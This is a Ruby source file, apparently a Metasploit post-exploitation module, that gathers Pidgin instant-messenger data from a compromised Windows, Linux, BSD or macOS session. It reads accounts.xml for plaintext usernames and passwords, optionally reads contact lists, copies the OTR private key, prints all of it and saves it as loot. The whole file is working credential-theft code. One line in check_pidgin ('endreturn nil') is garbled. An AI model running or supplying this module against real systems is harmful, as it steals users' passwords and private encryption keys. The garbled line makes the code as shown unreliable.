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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rexml/document'
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Windows::UserProfiles
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',
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        'Description' => %q{
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          This module will collect credentials from the Pidgin IM client if it is installed.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'bannedit', # post port, added support for shell sessions
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          'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
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        ],
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        'Platform' => %w[bsd linux osx unix win],
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        'SessionTypes' => ['shell', 'meterpreter' ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              core_channel_eof
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              core_channel_open
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              core_channel_read
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              core_channel_write
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              stdapi_fs_stat
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              stdapi_sys_config_getenv
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              stdapi_sys_config_getuid
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            ]
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          }
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        }
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      )
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    )
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    register_options(
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      [
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        OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
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        # Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
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      ]
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    )
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  end
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  # TODO: add support for collecting logs
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  def run
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    paths = []
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    case session.platform
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    when 'unix', 'linux', 'bsd'
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      @platform = :unix
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      paths = enum_users_unix
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    when 'osx'
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      @platform = :osx
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      paths = enum_users_unix
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    when 'windows'
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      @platform = :windows
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      profiles = grab_user_profiles
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      profiles.each do |user|
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        next if user['AppData'].nil?
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        pdir = check_pidgin(user['AppData'])
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        paths << pdir if pdir
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      end
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    else
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      print_error "Unsupported platform #{session.platform}"
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      return
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    end
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    if paths.nil? || paths.empty?
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      print_status('No users found with a .purple directory')
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      return
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    end
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    get_pidgin_creds(paths)
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  end
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  def enum_users_unix
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    if @platform == :osx
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      home = '/Users/'
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    else
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      home = '/home/'
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    end
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    if got_root?
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      userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
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      userdirs << "/root\n"
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    else
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      userdirs = session.shell_command("ls #{home}#{whoami}/.purple")
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      if userdirs =~ /No such file/i
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        return
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      else
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        print_status("Found Pidgin profile for: #{whoami}")
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        return ["#{home}#{whoami}/.purple"]
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      end
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    end
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    paths = Array.new
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    userdirs.each_line do |dir|
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      dir.chomp!
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      next if dir == '.' || dir == '..'
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      dir = "#{home}#{dir}" if dir !~ /root/
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      print_status("Checking for Pidgin profile in: #{dir}")
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      stat = session.shell_command("ls #{dir}/.purple")
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      next if stat =~ /No such file/i
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      paths << "#{dir}/.purple"
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    end
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    return paths
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  end
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  def check_pidgin(purpledir)
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    path = ''
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    print_status("Checking for Pidgin profile in: #{purpledir}")
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    session.fs.dir.foreach(purpledir) do |dir|
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      if dir =~ /\.purple/
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        if @platform == :windows
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          print_status("Found #{purpledir}\\#{dir}")
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          path = "#{purpledir}\\#{dir}"
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        else
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          print_status("Found #{purpledir}/#{dir}")
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          path = "#{purpledir}/#{dir}"
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        end
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        return path
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      end
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    end
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    return nil
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    endreturn nil
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  end
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  def get_pidgin_creds(paths)
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    case paths
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    when /#{@user}\\(.*)\\/
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      sys_user = ::Regexp.last_match(1)
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    when %r{home/(.*)/}
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      sys_user = ::Regexp.last_match(1)
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    end
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    data = ''
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    credentials = Rex::Text::Table.new(
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      'Header' => 'Pidgin Credentials',
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      'Indent' => 1,
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      'Columns' =>
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      [
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        'System User',
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        'Username',
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        'Password',
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        'Protocol',
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        'Server',
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        'Port'
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      ]
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    )
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    buddylists = Rex::Text::Table.new(
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      'Header' => 'Pidgin Contact List',
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      'Indent' => 1,
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      'Columns' =>
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      [
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        'System User',
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        'Buddy Name',
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        'Alias',
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        'Protocol',
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        'Account'
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      ]
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    )
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    paths.each do |path|
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      print_status("Reading accounts.xml file from #{path}")
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      if session.type == 'shell'
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        type = :shell
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        data = session.shell_command("cat #{path}/accounts.xml")
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      else
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        type = :meterp
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        accounts = session.fs.file.new("#{path}\\accounts.xml", 'rb')
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        data << accounts.read until accounts.eof?
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      end
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      creds = parse_accounts(data)
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      if datastore['CONTACTS']
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        blist = ''
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        case type
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        when :shell
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          blist = session.shell_command("cat #{path}/blist.xml")
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        when :meterp
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          buddyxml = session.fs.file.new("#{path}/blist.xml", 'rb')
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          blist << buddyxml.read until buddyxml.eof?
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        end
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        buddies = parse_buddies(blist)
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      end
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      creds.each do |cred|
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        credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]
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      end
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      if buddies
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        buddies.each do |buddy|
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          buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]
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        end
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      end
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      # Grab otr.private_key
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      otr_key = ''
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      if session.type == 'shell'
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        otr_key = session.shell_command("cat #{path}/otr.private_key")
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      else
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        key_file = "#{path}/otr.private_key"
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        otrkey = begin
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          session.fs.file.stat(key_file)
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        rescue StandardError
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          nil
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        end
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        if otrkey
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          f = session.fs.file.new(key_file, 'rb')
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          otr_key << f.read until f.eof?
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        else
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          otr_key = 'No such file'
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        end
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      end
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      if otr_key !~ /No such file/
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        store_loot('otr.private_key', 'text/plain', session, otr_key.to_s, 'otr.private_key', 'otr.private_key')
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        print_good("OTR Key: #{otr_key}")
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      end
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    end
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    if datastore['CONTACTS']
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      store_loot('pidgin.contacts', 'text/plain', session, buddylists.to_csv, 'pidgin_contactlists.txt', 'Pidgin Contacts')
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    end
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    store_loot('pidgin.creds', 'text/plain', session, credentials.to_csv, 'pidgin_credentials.txt', 'Pidgin Credentials')
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  end
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  def parse_accounts(data)
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    creds = []
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    doc = REXML::Document.new(data).root
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    doc.elements.each('account') do |sub|
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      account = {}
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      if sub.elements['password']
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        account['password'] = sub.elements['password'].text
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      else
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        account['password'] = '<unknown>'
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      end
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      account['protocol'] = begin
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        sub.elements['protocol'].text
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      rescue StandardError
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        '<unknown>'
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      end
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      account['user'] = begin
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        sub.elements['name'].text
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      rescue StandardError
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        '<unknown>'
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      end
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      account['server'] = begin
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        sub.elements['settings'].elements["setting[@name='server']"].text
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      rescue StandardError
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        '<unknown>'
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      end
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      account['port'] = begin
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        sub.elements['settings'].elements["setting[@name='port']"].text
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      rescue StandardError
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        '<unknown>'
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      end
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      creds << account
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      print_status('Collected the following credentials:')
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      print_status('    Server: %s:%s' % [account['server'], account['port']])
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      print_status('    Protocol: %s' % account['protocol'])
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      print_status('    Username: %s' % account['user'])
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      print_status('    Password: %s' % account['password'])
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      print_line('')
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    end
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    return creds
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  end
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  def parse_buddies(data)
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    buddies = []
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    doc = REXML::Document.new(data).root
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    doc.elements['blist'].elements.each('group') do |group|
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      group.elements.each('contact') do |bcontact|
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        contact = {}
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        contact['name'] = begin
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          bcontact.elements['buddy'].elements['name'].text
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        rescue StandardError
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          '<unknown>'
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        end
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        contact['account'] = begin
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          bcontact.elements['buddy'].attributes['account']
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        rescue StandardError
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          '<unknown>'
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        end
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        contact['protocol'] = begin
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          bcontact.elements['buddy'].attributes['proto']
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        rescue StandardError
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          '<unknown>'
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        end
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        if bcontact.elements['buddy'].elements['alias']
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          contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
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        else
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          contact['alias'] = '<unknown>'
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        end
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        buddies << contact
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        print_status('Collected the following contacts:')
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        print_status('    Buddy Name: %s' % contact['name'])
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        print_status('    Alias: %s' % contact['alias'])
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        print_status('    Protocol: %s' % contact['protocol'])
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        print_status('    Account: %s' % contact['account'])
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        print_line('')
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      end
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    end
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    return buddies
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  end
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  def got_root?
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    case @platform
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    when :windows
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      if session.sys.config.getuid =~ /SYSTEM/
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        return true
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      else
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        return false
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      end
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    else # unix, bsd, linux, osx
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      ret = whoami
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      if ret =~ /root/
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        return true
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      else
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        return false
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      end
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    end
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  end
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  def whoami
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    if @platform == :windows
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      session.sys.config.getenv('USERNAME')
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    else
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      session.shell_command('whoami').chomp
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    end
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  end
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end
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